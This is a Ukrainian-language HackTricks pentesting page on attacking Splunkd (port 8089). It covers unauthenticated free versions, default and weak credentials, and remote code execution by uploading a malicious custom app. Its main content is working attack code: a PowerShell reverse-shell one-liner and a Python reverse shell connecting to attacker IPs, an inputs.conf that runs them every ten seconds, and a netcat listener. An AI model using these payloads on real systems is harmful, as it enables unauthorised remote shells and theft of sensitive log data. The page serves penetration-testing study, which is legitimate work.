8089 - Pentesting Splunkd

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

Splunk - це інструмент аналізу журналів, який відіграє важливу роль у зборі, аналізі та візуалізації даних. Хоча його початкова мета не полягала в тому, щоб служити як інструмент SIEM (система управління інформацією та подіями безпеки), він став популярним у сфері моніторингу безпеки та аналітики бізнесу.

Розгортання Splunk часто використовується для зберігання чутливих даних і може слугувати цінним джерелом інформації для потенційних зловмисників, якщо їм вдасться скомпрометувати систему. Порт за замовчуванням: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Веб-сервер Splunk працює за замовчуванням на порту 8000.

Перелік

Безкоштовна версія

Пробна версія Splunk Enterprise перетворюється на безкоштовну версію через 60 днів, яка не вимагає аутентифікації. Не рідкість, коли системні адміністратори встановлюють пробну версію Splunk для тестування, яку пізніше забувають. Це автоматично перетворюється на безкоштовну версію, яка не має жодної форми аутентифікації, вводячи діру в безпеці середовища. Деякі організації можуть обирати безкоштовну версію через обмеження бюджету, не повністю розуміючи наслідки відсутності управління користувачами/ролями.

Стандартні облікові дані

На старих версіях Splunk стандартні облікові дані - admin:changeme, які зручно відображаються на сторінці входу. Однак, остання версія Splunk встановлює облікові дані під час процесу встановлення. Якщо стандартні облікові дані не працюють, варто перевірити наявність загальних слабких паролів, таких як admin, Welcome, Welcome1, Password123, тощо.

Отримання інформації

Після входу в Splunk ми можемо переглядати дані, запускати звіти, створювати панелі інструментів, встановлювати додатки з бібліотеки Splunkbase та встановлювати власні додатки. Ви також можете запускати код: у Splunk є кілька способів запуску коду, таких як серверні додатки Django, REST-точки доступу, скриптовані входи та скрипти сповіщення. Одним з поширених методів отримання віддаленого виконання коду на сервері Splunk є використання скриптованого входу.

Більше того, оскільки Splunk може бути встановлений на хостах з Windows або Linux, можна створювати скриптовані входи для запуску сценаріїв Bash, PowerShell або Batch.

Shodan

  • Splunk build

RCE

Створення власного додатка

Власний додаток може запускати Python, Batch, Bash або PowerShell сценарії. Зверніть увагу, що Splunk поставляється з встановленим Python, тому навіть в системах Windows ви зможете запускати код Python.

Ви можете використовувати цей пакет Splunk для допомоги. У цьому репозиторії bin містить приклади для Python та PowerShell. Давайте пройдемо це крок за кроком.

Для досягнення цього ми спочатку повинні створити власний додаток Splunk з наступною структурою каталогів:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin каталог буде містити будь-які сценарії, які ми маємо намір виконати (у цьому випадку, PowerShell зворотний shell), а каталог за замовчуванням матиме наш файл inputs.conf. Наш зворотний shell буде PowerShell однорядковий:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Файл inputs.conf повідомляє Splunk який скрипт виконувати та будь-які інші умови. Тут ми встановлюємо додаток як увімкнений та кажемо Splunk виконувати скрипт кожні 10 секунд. Інтервал завжди вказується в секундах, і вхід (скрипт) буде виконуватися лише у разі наявності цього параметра.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Нам потрібен файл .bat, який буде запускатися при розгортанні додатка та виконувати однорядковий PowerShell.

Наступним кроком є вибір Install app from file та завантаження додатка.

Перед завантаженням шкідливого користувацького додатка давайте запустимо прослуховувач за допомогою Netcat або socat.

sudo nc -lnvp 443

listening on [any] 443 ...

На сторінці Завантажити додаток клацніть на кнопці Огляд, виберіть tarball, який ми створили раніше, і клацніть Завантажити. Як тільки ми завантажимо додаток, статус додатка автоматично перейде в Увімкнено.

Linux

Якщо ми маємо справу з хостом Linux, нам потрібно буде відредагувати скрипт Python rev.py перед створенням tarball та завантаженням спеціального шкідливого додатка. Решта процесу буде такою ж, і ми отримаємо зворотне підключення оболонці на нашому прослуховувачі Netcat і будемо готові до дії.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

Виконання коду та підвищення привілеїв

На наступній сторінці ви можете знайти пояснення того, як цю службу можна використовувати для підвищення привілеїв та отримання постійності:

pageSplunk LPE and Persistence

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated